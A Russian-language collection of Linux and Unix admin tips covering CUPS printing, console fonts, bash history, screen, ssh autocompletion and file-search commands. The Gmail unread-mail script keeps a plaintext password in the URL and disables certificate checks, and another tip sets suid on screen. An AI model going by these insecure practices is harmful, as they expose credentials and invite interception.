    Все, теперь идем в KDE, GNOME или ... и запускаем ОТ ROOT-а гуёвые мастера для добавления принтера.
    
    На всякий случай, привожу установленные в Debian Etch пакеты для печати на HP1020 через CUPS.
    
    nik@linuxdvr:~$ aptitude search "foo|cups|foo2" | grep "^i"
    i   cupsys                          - Common UNIX Printing System(tm) - server
    i   cupsys-bsd                      - Common UNIX Printing System(tm) - BSD comm
    i   cupsys-client                   - Common UNIX Printing System(tm) - client p
    i A cupsys-common                   - Common UNIX Printing System(tm) - common f
    i   cupsys-driver-gutenprint        - printer drivers for CUPS
    id  foo2zjs                         - Support for printing to ZjStream-based pri
    i A foomatic-db                     - linuxprinting.org printer support - databa
    i   foomatic-db-engine              - linuxprinting.org printer support - progra
    i   foomatic-db-gutenprint          - linuxprinting.org printer support - databa
    i   foomatic-db-hpijs               - linuxprinting.org printer support - databa
    i A foomatic-filters                - linuxprinting.org printer support - filter
    i   foomatic-filters-ppds           - linuxprinting.org printer support - prebui
    i   foomatic-gui                    - GNOME interface for configuring the Foomat
    i   gnome-cups-manager              - CUPS printer admin tool for GNOME
    i A libcupsimage2                   - Common UNIX Printing System(tm) - image li
    i A libcupsys2                      - Common UNIX Printing System(tm) - libs
    i A libgnomecups1.0-1               - GNOME library for CUPS interaction
    i A libgnomecupsui1.0-1c2a          - UI extensions to libgnomecups
    i A python-foomatic                 - Python interface to the Foomatic printer d
    
    
    (С) Андрей Никитин, 2007
    Перепечатка и цитирование допускаются только с разрешения автора.
    
     
    ----* Как объединить несколько PDF файлов в один (доп. ссылка 1)   Автор: debianadmin.com  [комментарии]
     
    gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=combinedpdf.pdf -dBATCH 1.pdf 2.pdf 3.pdf
    
     
    ----* Как распечатать русскоязычный текстовый файл или исходный текст под Unix (доп. ссылка 1)   [обсудить]
     
    Формирование PostScript:
      a2ps -2 --encoding=latin1 --pretty-print -s1 --no-header --borders=no -o file.ps file.txt
      -2 - печать в две колонки (-1 - одна колонка на весь лист)
      -s1 - односторонняя печать (-s2 - печать с обоих сторон)
      --pretty-prin - подсветка синтаксиса (--pretty-print=plain - отмена)
    
    Преобразование в RAW формат:
      gs -q -dNOPLATFONTS -dSAFER -sDEVICE=ljet4 -dNOPAUSE -dBATCH -sOutputFile=file.raw file.ps
    
    Отправка на печать:
       cat file.raw | smbclient //192.168.10.19/HPLaserJ -N -c "print -"
    
    Печатать HTML документы удобно преобразовав их в текстовый файл через
       lynx -dump -nolist -with_backspaces URL
    и затем поправив в любом текстовом редакторе.
    
     
    ----* Советы по распечатке брошюр в PostScript формате (доп. ссылка 1)   Автор: Артем Носов  [комментарии]
     
    Печать четных страниц, преобразовав в формат A4:
       psbook example.ps | psnup -l -pa4 -2 | pstops "2:0(1in,0in)" | lpr
    переворачиваем пачки и печатаем нечетные:
       psbook example.ps | psnup -l -pa4 -2 | pstops "2:-1(1in,0in)" | lpr
    Выборочная печать страниц:
       psselect -p1-12,103,23-28,3 example.ps output.ps
    
     
    ----* Решение проблемы с печатью с Linux на Windows через CUPS (доп. ссылка 1)   Автор: Михаил Конник  [комментарии]
     
    Если при печати из CUPS на принтер на Windows машине при использовании SMB протокола пишет:
    
       Connection failed with error NT_STATUS_ACCESS_DENIED
    
    Или при печати через IPP:
    
       Unable to connect to SAMBA host, will retry in 60 seconds...
       foomatic-rip version $Revision$ running...
    
    Добавляем в веб-форме CUPS принтер и выбираем способ подключения Windows printer via Samba. 
    Далее в строке адреса пишем:
    
       smb://guest@192.168.1.1/HPLaserJ
    
    В приложениях KDE нужно выставить адрес службы печати на локальный: 127.0.0.1:631.
    
     

       Работа в консоли

    ----* Настройка шрифтов для консоли и терминала   Автор: Warlock  [комментарии]
     
    Одна из первых вещей, которые требуется поменять в свежеустановленной системе -
    шрифты и раскладки клавиатуры. С предлагаемыми по умолчанию шрифтами обычно
    имеется несколько проблем:
    
    
  • шрифт в терминале (здесь и далее под терминалом я подразумеваю "настоящий" терминал, т.е. tty) слишком мелкий.
  • эстетика некоторых букв неидеальна.
  • шрифт в консоли (а под этим словом я подразумеваю GUI-программу - эмулятор терминала) безобразно гладкий и отличается от шрифта в терминале.
  • возможности набирать русские буквы нет, либо же есть, но переключение между языками ужасное.
  • в Иксах нет возможности набирать типографские символы (в терминале тоже, но в терминале это не особо нужно, даже для цели написания таких вот текстов). Собственный шрифт в терминале Первое, что нужно сделать - обзавестись хорошим растровым шрифтом. И если для базовой латиницы таких шрифтов, возможно, несколько (но это не точно), то с учётом кириллицы и юникода выбора вообще не остаётся, и Terminus - это единственный вариант. Так что в этом месте нужно пойти в интернет и раздобыть две вещи: 1) сам Terminus в виде архива '.tar.gz' и 2) веб-страничку этого шрифта, которая содержит важную информацию относительно настраиваемых вариантов некоторых букв и которая, тем не менее, почему-то не входит в тарбол. Далее следуют привычные и очевидные вещи - распаковка тарбола и изучение readme файла. Ну а далее всё просто. Во-первых нужно определиться с альтернативными начертаниями и применить необходимые патчи (подробности в readme). Далее нужно решить, какой размер и начертание шрифта вам подходит. Я обычно использую 9x18, жирное начертание. Выбранный шрифт можно отредактировать с помощью 'gbdfed'. Так, в шрифт, которым я пользуюсь прямо сейчас, внесены следующие исправления:
  • изменено начертание русско-латинской большой буквы "A", так что она имеет вид, схожий с видом этой буквы в классическом ДОС шрифте,
  • изменено начертание кириллического "Ээ оборотного", так что его труднее спутать с "Зз",
  • изменено начертание строчной кириллической буквы "б", так как дефолтный вариант имеет не вполне органичный вид для русского языка,
  • изменено начертание заглавной буквы "Ф" - она стала более "скромной",
  • изменено очертание твёрдого знака - он стал поуже, а палочка, отличающая его от мягкого знака, заметнее,
  • изменено очертание буквы "Ыы" опять же по мотивам известного досовского шрифта,
  • изменено начертание цифры "3", чтобы не путать её с буквой "З". Соответствующие патчи можно найти на гитхабе. Выбрав и отредактировав шрифт, переходим к сборке: $ ./configure $ make Инсталляция сводится к размещению шрифта в правильном месте. В линуксах читаем 'man setfont', используем '.psf' файл: $ cp ter-u18b.psf xter-u18b.psf $ gzip -9 xter-u18b.psf # mv xter-u18b.psf.gz /usr/share/kbd/consolefonts # chown root:root /usr/share/kbd/consolefonts/xter-u18b.psf # chmod u=rw,g=r,o=r /usr/share/kbd/consolefonts/xter-u18b.psf Во FreeBSD читаем 'man vt' и раздел "Virtual Consoles and Terminals" в Hanbook, и превращаем ".bdf" в ".fnt" с помощью "vtfontcvt": $ vtfontcvt -o xter-u18b.fnt ter-u18b.bdf # mv xter-u18b.fnt /usr/share/vt/fonts # chown root:root /usr/share/vt/fonts/xter-u18b.fnt # chmod u=rw,g=r,o=r /usr/share/vt/fonts/xter-u18b.fnt Осталось указать системе использовать наш шрифт. Во FreeBSD это делается с помощью настройки "allscreens_flags" в "/etc/rc.conf": allscreens_flags="-f xter-u18b" В линуксах настройка дистроспецифична, точнее она зависит от системы инициализации. В случае systemd это настраивается установкой "FONT" в "/etc/vconsole.conf": FONT="xter-u18b" В случае использования системы инициализации OpenRC, нужная опция называется 'consolefont' и располагается в '/etc/conf.d/consolefont': consolefont="xter-u18b" В Artix с OpenRC надо прописывать шрифт в оба места: и в '/etc/conf.d/consolefont', и дополнительно в '/etc/vconsole.conf' для 'mkinitcpio' (а точнее для хука '/usr/lib/initcpio/install/consolefont'). В Slackware нужно просто вписать вызов 'setfont' с нужными параметрами в '/etc/rc.d/rc.font': /usr/bin/setfont xter-u18b Но если нужно загрузить шрифт так же и в initrd, я не представляю как это можно сделать в Slackware. Шрифт в загрузчике Если хочется использовать тот же шрифт и в меню загрузчика, вот как это делается для Arch-подобных Linux-дистрибутивов и загрузчика GRUB 2. 1. Шрифт в '.pf2' формате кладётся в '/boot/grub/fonts': $ grub-mkfont -o xter-u18b.ps2 ter-u18b.bdf # mv xter-u18b.ps2 /boot/grub/fonts 2. Затем шрифт прописывается в '/etc/default/grub': GRUB_FONT="/boot/grub/fonts/xter-u18b.pf2" 3. Регенерируется реальный конфиг груба: # grub-mkconfig -o /boot/grub/grub.cfg Всё, можно перезагружаться и проверять результат. Шрифт в консоли Следующая задача - запихнуть тот же самый шрифт в Иксы, чтобы иметь возможность использовать его в эмуляторе терминала. Современные иксовые приложения не особенно любят растровые шрифты, особенно в "традиционном" формате '.pcf', поэтому необходимо использовать более "модный" '.otb'. Конвертация проста: $ fonttosfnt -o xter-u18b.otb ter-u18b.bdf Однако, перед этим может быть небесполезным поменять название кастомного шрифта в '.bdf' файле, чтобы если что он не перепутался с оригинальным Terminus. Запихивать такой шрифт в систему не вполне правильно, да и не нужно: в '~/.local/share/fonts' ему будет вполне комфортно. (В прежние времена для этой цели использовалась '~/.fonts', но в рамках борьбы с загаживанием home dir, фонты переехали в указанное выше место.) Чтобы Иксы обновили список доступный шрифтов, необходимо позвать 'fc-cache -fv'. Однако очень вероятно, что так сразу шрифт не найдётся. Моё основанное на личном опыте заключение таково: в FreeBSD больше никаких телодвижений не требуется, а вот в Linux скорее всего придётся найти способ включить растровые шрифты. Правда, способ этот скорее всего весьма универсален: надо просто прочитать '/etc/fonts/conf.d/README', и, прочитав, обратить внимание на файлы с названиями '70-yes-bitmaps.conf' и '70-no-botmaps.conf' в '/etc/fonts/conf.d' и '/usr/share/fontconfig/conf.avail' (последняя директория может располагаться и в ином месте, но 'locate conf.avail' должен справиться с поиском). Дальнейшие действия очевидны: отключить отключение растровых шрифтов путём удаления линка на файл '70-no-botmaps.conf' и включить включение растровых шрифтов путём создания линка на '70-yes-bitmaps.conf'. Этого должно быть достаточно, чтобы 'fc-cache -fv' нашёл-таки наш шрифт, после чего (Иксы лучше перезапустить) наш кастомный шрифт будет можно выбрать в настройках программы - эмулятора терминала. Продолжение следует...
  •  
    ----* Использование less вместо tail для отслеживания хвоста файла (доп. ссылка 1)   [комментарии]
     
    Для отслеживания добавляемых в хвост файла изменений, например, для наблюдения
    за наполнением лог-файла, вместо традиционной команды "tail -f" удобно
    использовать утилиту less  с опцией "+F" (less +F имя_файла). Преимущество
    состоит в том, что утилита less предоставляет переключаться между режимом
    перемещения по файлу и отслеживанием изменений.
    
    Например, при появлении важной информации можно прервать отслеживание хвоста,
    нажав "Ctrl+C", после чего выполнить поиск или переместиться в верхнюю часть
    файла. Для возобновления отслеживания изменений достаточно нажать "F".
    Аналогичным образом, нажав "F", можно проверить появление новых данных в хвосте
    и для файла, открытого в less без предварительного указания опции "+F".
    
    Недостатком less является поддержка отслеживания только одного файла, в то
    время как "tail -f" позволяет одновременно следить за хвостами нескольких файлов.
    
     
    ----* Динамическое изменение заголовков окон в screen (доп. ссылка 1)   [комментарии]
     
    Как известно, screen умеет динамически менять заголовки окон, исследуя каждую
    выводимую строку приложения на наличие esc-k. Вот этого в .bashrc достаточно,
    чтобы научить screen менять заголовок в зависимости от запущенного приложения:
    
       if [[ "$TERM" == "screen" ]]; then
           SCREENTITLE='\[\ek\e\\\]'
           PS1="${SCREENTITLE}${PS1}"
       fi
    
    Однако, очень хотелось заставить screen менять заголовок окна в зависимости от
    того, на какой сервер/железку я зашел с помощью ssh или telnet. Сделал это
    парой скриптов (оберток) для ssh и telnet, сохранил их в каталоге ~/.scripts и
    добавил этот каталог в начало окружения PATH.
    
    .scripts/telnet
    
       #!/bin/bash
    
       echo -ne "\ek->`echo $@|awk 'BEGIN{opts="-l-n-e"}
       {for(i=1;i<=NF;i++){if(substr($(i),1,1)=="-")
       {if(index(opts,$(i))!=0)i++;continue;}break;}print $(i);}'`\e\\" /usr/bin/telnet $@ < `tty` > `tty`
    
    .scripts/ssh
    
       #!/bin/bash
    
       echo -ne "\ek->`echo $@ | awk 'BEGIN{opts="-b-c-D-e-F-I-i-L-l-m-O-o-p-R-S-W-w"}
       {for(i=1;i<=NF;i++){if(substr($(i),1,1)=="-")
       {if(index(opts,$(i))!=0)i++;continue;}break;}print $(i);}'`\e\\" /usr/bin/ssh $@ < `tty` > `tty`
    
     
    ----* Автодополнение ssh-хостов в командной строке (доп. ссылка 1)   Автор: bthemad  [комментарии]
     
    Простейшим способом упрощения набора параметров для частоиспользуемых хостов
    является задание псевдонимов в ~/.ssh/config:
    
       Host        myhost      # Имя хоста
       HostName    server.com  # Это удаленнй хост
       User        username    # Пользователь на удаленном хосте
       Port        22222       # Номер порта
    
    При этом вместо "ssh -p 22222 -l username server.com" теперь достаточно написать "ssh myhost".
    
    В случае когда этого недостаточно и хочется получить в bash поддержку
    автодополнения типовых имен хостов можно добавить в ~/.bashrc или ~/.profile
    следующие конструкции.
    
    При поиске имен среди параметров Host и HostName в ~/.ssh/config:
    
       complete -W "$(echo `cat ~/.ssh/config | grep -iE '^(Host|HostName) ' | awk '{print $2}'`)" ssh
    
    
    Обычно в дистрибутивах Linux уже присутствует настройка (/etc/bash_completion)
    для автодополнения по содержимому файла known_hosts, но в последних версиях
    OpenSSH имена хостов в данном файле перестали задаваться в открытом виде,
    поэтому автодополнение не работает. Тем не менее хэширование имен можно
    отключить указав в ssh_config "HashKnownHosts no".
    
    Для поиска по known_hosts может быть использована конструкция:
    
       complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
    
    
    Более развернутый пример запроса для организации автодополнения по содержимому
    первого столбца произвольного файла my_hosts.txt:
    
       _compssh ()
       {
       cur=${COMP_WORDS[COMP_CWORD]};
       COMPREPLY=($(compgen -W '$(cut -d " " -f1 ~/my_hosts.txt) --all --schema' -- $cur))
       }
       complete -F _compssh ssh
    
     
    ----* Раскраска man-страниц в Linux (доп. ссылка 1)   [комментарии]
     
    Для того чтобы насладиться системными руководствами в цвете, можно подключить к
    man программу для листания текста "most":
    
    в Debian-подобных дистрибутивах:
    
      apt-get install most
    
    в [Red Hat]-подобных дистрибутивах:
    
      yum install most
    
    Настраиваем вывод в man, в ~/.profile добавляем или выполняем в командной
    строке для текущей сессии:
    
      export MANPAGER="/usr/bin/most -s"
    
    Смотрим результат:
    
      $ man bash
    
     
    ----* Отображение числа непрочитанных писем Gmail в строке статуса Screen (доп. ссылка 1)   Автор: itbg  [комментарии]
     
    Итак, нам потребуется установленный GNU Screen и Wget
    
    Правим свой файл .screenrc
    
        caption always "%{= kw}%-w%{= BW}%n %t%{-}%+w %-= | %1` Unread |"
        backtick 1 60 60 /home/Ваша_home_директория/bin/get_gmail
    
    get_gmail - Это скрипт для получения почты, листинг смотрите ниже.
    
    Сейчас создадим необходимые директории
    
       mkdir ~/bin
       cd bin/
    
    В этом каталоге создаём скрипт get_mail
    
       #!/bin/bash
       gmail_login="username"
       gmail_password="password"
       fetch="$(wget -secure-protocol=TLSv1 -timeout=3 -t 1 -q -O - \
         https://${gmail_login}:${gmail_password}@mail.google.com/mail/feed/atom -no-check-certificate )"
       line="$(echo "$fetch" | grep 'fullcount')"
       unread="$(echo "$line" | sed "s/<fullcount>\(.*\)<\/fullcount>/\1/")"
       if [ -z "$unread" ]; then
          echo "!"
       else
          echo "$unread"
       fi
    
    Осталось дать права на запуск
    
       chmod 700 get_gmail
    
    В принципе, это написано в качестве примера использования.
    Остальное всё зависит от Вашей фантазии.
    
    Можно например зациклить выполнение проверки писем.
    
       #!/bin/bash
       gmail_login="username"
       gmail_password="password"
       while [ 1 ]; do
         fetch="$(wget -secure-protocol=TLSv1 -timeout=3 -t 1 -q -O - \
           https://${gmail_login}:${gmail_password}@mail.google.com/mail/feed/atom -no-check-certificate )"
         line="$(echo "$fetch" | grep 'fullcount')"
         unread="$(echo "$line" | sed "s/<fullcount>\(.*\)<\/fullcount>/\1/")"
         if [ -z "$unread" ]; then
            echo "!"
         else
            echo "$unread"
         fi
         sleep 10m
       done
    
    Затем если Вы как я используете оконный менеджер dwm, добавить это в файл ~/.xinitrc.
    В скрипте после done нужно поставить знак & (done &)
    И получать число непрочитанных писем в его статус баре, с интервалом 10 минут.
    
    Как вариант, можно поправить строчку  mail.google.com/mail/feed/atom
    накакой-нибудь другой feed и получать письма с определённого лэйбла.
    
    
    Оригинал на английском: http://tuxtraining.com/2009/04/29/show-unread-gmails-in-gnu-screen-status-bar
    
     
    ----* Выборка и копирование файлов по дате в Linux   Автор: Sclif13  [комментарии]
     
    Столкнулся с такой задачей: из каталога необходимо выбрать и скопировать кучу
    файлов за один месяц.
    Вооружившись командами cp, ls  и awk я приступил и вот что получилось:
    
       cp $(ls -l | grep 2009-01 | awk '{print $8}') /home/temp/
    
    ls -l выводит содержимое каталога с датой
    grep соответственно выбирает файлы за месяц
    awk '{print $8}' выводит имя файла для команды cp
    
    Дальше больше ...
    Есть каталог в котором куча подкаталогов и в которых соответственно файлы,
    которые надо скопировать.
    Тут на помощь приходит утилита du:
    
       cp $(du -a --time | grep 2009-01 | awk '{print $4}') /home/temp/
    
     
    ----* Обработка XML данных в командной строке при помощи xmlstarlet   [комментарии]
     
    В составе Debian, Ubuntu и других Linux дистрибутивах можно найти пакет
    xmlstarlet (http://xmlstar.sourceforge.net/),
    представляющий собой набор утилит командной строки для преобразования, выборки
    данных и проверки XML документов.
    Реализует для работы с XML функции похожие на утилиты grep, tr, sed, awk, diff, patch, join и т.п.,
    что очень удобно для разбора XML документов в скриптах.
    
    Например, для парсинга RSS и вывода заголовков можно использовать:
    
       curl url_rss | xmlstarlet sel -t -m /rss/channel/item -v title -n
    
    вывод из RSS ссылки и заголовка, разделенные символом "|"
    
       curl url_rss | xmlstarlet sel -t -m /rss/channel/item -v link -o "|" -v title -n
    
    Для ленты в формате Atom, с построчным разделением URL от заголовка:
       
       curl url_rss | sed 's/xmlns=/_xmlns=/'| xmlstarlet sel -t -m /feed/entry -v link/@href -n -v title -n
    
    
    Опция -t информирует о начале задания шаблона, определенного далее идущими директивами.
    -m указывает, параметры XPath выборки, в нашем случае, обработка всех <item>
    внутри <channe> внутри <rss>.
    -v - определяем содержимое какого поля выводить.
    -n - инициирует вывод символа перевода строки,
    -o - позволяет вывести произвольный текст.
    
    Быстрый просмотр текста в ODT файле
    
       unzip -p document.odt content.xml | xmlstarlet sel -N text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" \
       -T -t -m '//text:p' -v . -n
    
    Построить список изображений, используемых в заданной странице:
    
       cat test.html| xmlstarlet sel --html -t -m "//img" -v "@src" -n
    
    Примеры использования xmlstarlet для различных ситуаций можно найти в
    директории /usr/share/doc/xmlstarlet/examples
    
     
    ----* Настройка работы кнопок home и end при работе во FreeBSD через ssh-клиент Putty (доп. ссылка 1)   [комментарии]
     
    При работе во FreeBSD по ssh через putty не работают кнопки Home и End. 
    
    Для решения проблемы в настройках putty (Connection / Data / Terminal-type string) 
    нужно поставить putty вместо xterm.
    Это позволит использовать описание терминала putty, которое уже присутствует в
    termcap из состава FreeBSD.
    
    
    Другой вариант, в .cshrc можно прописать:
    
       bindkey "\e[3~" delete-char
       bindkey "\e[1~" beginning-of-line
       bindkey "\e[4~" end-of-line
    
     
    ----* Команды для поиска больших файлов в заданной директории   [комментарии]
     
    Для вывода отсортированного списка файлов размером больше 500Мб, находящихся 
    в дереве файловой системы начиная с текущей директории можно использовать команду:
    
       find . -type f -size +500M -exec ls -l {} \; | sort -k5 -n -r| less
    
    Для вывода отсортированного по размеру списка директорий можно использовать команду:
    
       find . -type d -maxdepth 1 -exec du -s {} \;|sort -k1 -r -n| less
    
    Для выявления конечной директории с большими файлами можно снять ограничение на
    рекурсивную проверку:
    
       find . -type d -exec du -s {} \;| sort -k1 -r -n| less
    
    Найти все avi, mpg, wmv файлы можно так:
    
       find . \( -iname "*.avi" -o -iname "*.mpg" -o  -iname "*.wmv" \) -type f -exec ls -l {} \;| less
    
    PS. Вместо ls можно было использовать встроенные опции -ls или -printf "%s %P\n", 
    но %P не всегда легко вспомнить, а вывод -ls не совсем привычен.
    
     
    ----* Удобный поиск по истории команд в консоли в Debian GNU Linux   Автор: Karbofos  [комментарии]
     
    C помощью кнопок PgUp, PgDwn (страница ввсерх/вниз) можно листать хистори введенных ранее команд,
    при этом в отличии от использования клавиш управления курсором, при наличии в строке ввода
    каких-то символов они будут использованы в качестве маски для фильтра.
    Т.е. введя "ssh" и нажав PgUp/PgDwn можно просмотреть введенные ранее команды с использованием ssh.
    
    Стандартно, данная комбинация кнопок на Debian деактивирована.
    
    Находим в директори /etc файл, с именем inputrc редактируем его, 
    добавив строки, в случае, если позиционирование по хистори не работает:
       # alternate mappings for "page up" and "page down" to search the history
       "\e[5~": history-search-backward
       "\e[6~": history-search-forward
    
    обычно эти установки в Debian просто закомментированы.
    
    Изменив этот файл, вы настраиваете данные кнопки для всех пользователей. 
    Если необходимо настроить для какого-то пользователя, то настройки эти есть в файле .inputrc 
    в домашней директории. Данный файл можно создать на основе общесистемного аналога из /etc
    
       cp /etc/inputrc ~/.inputrc
    
     
    ----* Использование Vim для просмотра файлов с подсветкой синтаксиса   [комментарии]
     
    В поставке vim присутствует сценарий /usr/share/vim/vim71/macros/less.sh:
    
    #!/bin/sh
    
    if test $# = 0; then
      vim --cmd 'let no_plugin_maps = 1' -c 'runtime! macros/less.vim' -
    else
      vim --cmd 'let no_plugin_maps = 1' -c 'runtime! macros/less.vim' "$@"
    fi
    
    Который можно использовать для замены less с подсветкой синтаксиса.
    
    В .bashrc добавляем:
    
       alias less=/usr/share/vim/vim71/macros/less.sh
    
     
    ----* Подборка полезных консольных команд и приемов работы в bash   [комментарии]
     
    Быстрый поиск PID идентификатора запущенного процесса по имени:
    
       pgrep ssh
    
    Выполнение последней выполненной команды в Bash:
    
       !!
    
    Выполнение последней выполненной команды в Bash, начинающейся с заданных символов
    Например, с символа "s":
    
       !s
       !ssh
    
    Для того, чтобы перед выполнением посмотреть, что за команда отвечает маске !ssh нужно добавить :p
    
       !ssh:p
    
    Периодический перезапуск команды с перерисовкой экрана:
    Например, для отображения изменений содержимого директории:
    
       watch -d ls -l
     
    Быстрое сохранение файла и выход, в VI/VIM
    
       Вне режима вставки нужно нажать ZZ (два раза нажать z с нажатым Shift).
    
    Быстрый выход из терминала:
    
       CTRL+D
    
    Возврат в прошлую директорию в shell:
    
       cd -
    
    Создание директории с недостающими промежуточными директориями:
    
       mkdir -p /tmp/dir1/dir2/dir3
    
    что эквивалентно 
    
       mkdir /tmp/dir1
       mkdir /tmp/dir1/dir2
       mkdir /tmp/dir1/dir2/dir3
    
    Удаление введенной строки в shell:
    
       CTRL+U
    
    Изменение времени модификации файла (2008-01-01 8:00 = 0801010800 (YYMMDDhhmm)):
    
       touch -c -t 0801010800 filename.c 
    
    Для обращения к аргументу прошлой команды можно использовать !$
       ls /usr/lib
       cd !$
    
    Исправление ошибки в последней команде при помощи оператора "^ключ^замена":
       $ cd /usr/loxal/bin            
        bash: cd: /usr/loxal/bin: No such file or directory
       $ ^loxal^local
        cd /usr/local/bin
    
     
    ----* Как хранить дату выполнения в истории команд bash (доп. ссылка 1)   Автор: kpblca  [комментарии]
     
    По умолчанию bash, а точнее утилита history, не сохраняет в .bash_history 
    время исполнения каждой команды.
    
    Почитал маны и оказалось, что в баше трейтье версии сделать это можно и весьма просто. 
    Если объявить глобальную переменную HISTTIMEFORMAT с форматом выводимых данных, 
    то утилита history будет сохранять и выводить эту дату.
    
    Итак, пишем в ~/.bashrc строчку
    
       export HISTTIMEFORMAT='%h %d %H:%M:%S '
    
    После этого в .bash_history перед каждой командой появится коментарий
     с цифрой - временем выполнения этой команды в формате timestamp:
    
       #1198068550
       history
       #1198139874
       ьс
       #1198139876
       mc
       #1198148168
       ssh teletrade.ru
       #1198148217
       ssh teletrade.ru
    
    А команда history будет выдавать историю данных с датой в формате,
     который мы переменной задали (в похожем формате выдают дату и время утилита ls):
    
       995  Дек 19 15:49:10 history
       996  Дек 20 11:37:54 ьс
       997  Дек 20 11:37:56 mc
       998  Дек 20 13:55:49 ssh teletrade.ru
    
    Но можно сделать и по ГОСТУ, в приятном русскому глазу виде "ДД.ММ.ГГГГ"
    
       export HISTTIMEFORMAT='%d.%m.%Y %H:%M:%S '
    
    А можно и на американский манер "YYYY-MM-DD"
    
       export HISTTIMEFORMAT='%Y-%m-%d %H:%M:%S '
    
     
    ----* Отдельный файл истории работы в bash для пользователя работающего через SU (доп. ссылка 1)   [комментарии]
     
    Чтобы поместить в отдельный лог команды выполненные в режиме su:
    
    .bash_profile
       export HISTSIZE=3000
       export HISTFILESIZE=99999
       export HISTFILE=/root/.bash_hist-$(who am i|awk '{print $1}';exit)
    
    Получим два файла истории: .bash_hist-user и .bash_hist-root
    
     
    ----* Как задать задержку выключения дисплея для консоли Linux и FreeBSD   Автор: Johny  [комментарии]
     
    Установка времени гашения консоли Linux:
    
       setterm -blank <минуты>
    
    Или чтоб экран не гас совсем:
    
       setterm -blank 0  
    
    Для FreeBSD в /etc/rc.conf: blanktime="NO", saver="NO"  или blanktime="секунды"
    
    Команда:
    
       vidcontrol  -t секунды < /dev/ttyv0
    
    или 
    
       vidcontrol  -t off < /dev/ttyv0
    
     
    ----* Как подключиться к уже открытой сесии screen (доп. ссылка 1)   [комментарии]
     
    Для дублирования двух screen сессий, например, для удаленной демонстрации
    каких-то консольных операций:
    
    Создать сессию
       screen -S имя_сессий
    или посмотреть уже открытую через
       screen -list
    
    Присоединиться к активной сессии:
       screen -x имя_сессий
    
    Два окна будут отображаться синхронно.
    
    Также можно позволить другому пользователю подключиться к чужой screen сессий.
    Но, для этого на бинарный файл screen необходимо установить suid бит, 
    чтобы он всегда запускался с привилегиями суперпользователя, что не
    рекомендуется делать из соображений безопасности.
       sudo chmod u+s /usr/bin/screen
    
    В активной сессии включаем многопользовательский режим:
       ctrl-a :multiuser on
    
    Добавляем в список доступа нужного пользователя:
       ctrl-a :acladd имя_пользователя
    
    Другой пользователь подключается командой:
       screen -x имя_пользователя_запустившего_screen/имя_сессии
    
    Пользователю можно открыть доступ в режиме только для просмотра (http://aperiodic.net/screen/multiuser):
       ctrl-a :writelock on
    
     
    ----* Изменение графической заставки, отображаемой в процессе загрузки Linux. (доп. ссылка 1)   Автор: Alexander Kuprin  [комментарии]
     
    Настройка bootsplash для AltLinux (темы берутся с http://bootsplash.de/)
    В качестве примера взята тема AquaMatrix для разрешения 1024x768).
    
    1. Установить пакеты:
    
       apt-get install bootsplash design-bootloader-AquaMatrix
    
    2. Перегенерировать inird-образ:
    
       mkinitrd -f /boot/initrd-`uname -r`.img `uname -r`
    
    3. Добавить в конец образа собственно splash:
    
       splash -s -f /etc/bootsplash/themes/AquaMatrix/config/bootsplash-1024x768.cfg >> 
          /boot/initrd-`uname -r`.img
    
    4. В /etc/lilo.conf (или /boot/grub/menu.lst) дописать к параметрам ядра и запустить lilo.
    
       vga=791 splash=silent
    
    5. В /etc/sysconfig/bootsplash укажите название темы и включите её.
    
       SPLASH="yes"
       THEME="AquaMatrix"
    
    Для изменения фонового изображения на первой консоли:
    
       splash -s -u 1 путь_к_splash.cfg
    
     
    ----* Как выделить цветом определенное слово, используя "tail -f" (доп. ссылка 1)   [комментарии]
     
    Пример, выделения слова Reject при просмотре хвоста почтового лога:
        tail -f /var/log/maillog |perl -p -e  's/Reject/\033\[46;1mReject\033[0m/gi;'
    
    Если нужно не только выделять цветом, но и подавать звуковой сигнал при появлении test@test.ru:
        tail -f /var/log/maillog |perl -p -e  's/(test\@test.ru)/\033\[46;1m$1\033[0m\007/gi;'
    
     
    ----* Решение проблем со screen под FreeBSD (доп. ссылка 1)   Автор: Vladimir Kurtukov  [комментарии]
     
    Иногда приложения перестают запускаться из-под screen в FreeBSD.
    Например, midc ругается "subshell.c: read (subshell_pty...): Unknown error: 0".
    Для решения проблемы достаточно выполнить  "killall -CONT <your shell>", например:
       killall -CONT bash
    
     
    ----* Выполнение команды раз в N сек. с перерисовкой результата (доп. ссылка 1)   [комментарии]
     
      watch -n1 "cat /proc/interrupts" 
    
     
    ----* Как осуществить форматирование файла ограничив число символов в строке   [обсудить]
     
    Жестко разбить по 60 символов в строке: fold -w 60 test.txt
    Разбивать только по пробелам, не разбивая слова на части: fold -s -w 60 test.txt
    Для форматирования текста программы на Си можно воспользоваться утилитой indent.
    Разбить на параграфы поможет fmt из textutils.
    
     
    ----* Некоторые полезные клавишные комбинации в Midnight Commander'е   [обсудить]
     
    Ctrl-\ - возможность ведения списка часто используемых директорий, включая FTP.
    Сtrl-s или Meta-s - интерактивный поиск файла в панели.
    Meta-Tab  - дополнение имени файла в любом диалоге.
    Ctrl-q - вставить в редакторе непечатный символ по коду.
    F1...F10 эмулируются ESC-1...ESC-0
    F11..F12..F13.. эмулируются нажатием Shift-F1..Shift-F2..Shift-F3..
    Meta-! - запустить программу и посмотреть ее вывод во встроенном просмотрщике.
    Meta-c - быстрый переход в директорию
    Meta-t - изменить тип отображения файлов в панели.
    В редакторе: Shift-! - выход в командную строку на время, ctrl+T - перекодировка.
    Выделить только директории можно добавив / после * в блоке пометки.
    midc -s - для работы на медленных терминалах.
    
     
    ----* Как в screen скопировать многостраничный текст в буфер и обратно.   [обсудить]
     
    Ctrl+A,Esc
    Подвести курсор к нужной позиции (можно использовать для просмотра предыдущих страниц) 
    и нажать Enter.
    Отметить нужный фрагмент и нажать Enter.
    Для вставки сохраненного блока необходимо нажать Ctrl+A,].
    
     
    ----* Сброс терминала   [обсудить]
     
    # echo -ne "\033c" >/dev/tty1
    
    или
    
    $ stty sane
    
    или
    
    $ reset
    
     
    ----* Использование нескольких буферов обмена в консоли при помощи GNU Screen (доп. ссылка 1)   Автор: Владимир Кунщиков  [комментарии]
     
    Довольно часто возникает потребность в нескольких буферах обмена между
    открытыми консольными сессиями. Задача легко решаема при помощи регистров
    в GNU Screen. Для создания и быстрого доступа к дополнительным буферам
    необходимо задать в файле $HOME/.screenrc команды копирования в регистр
    readreg и чтения из регистра paste. Ниже пример добавления буферов,
    закрепленных за клавишами  1 и 2:
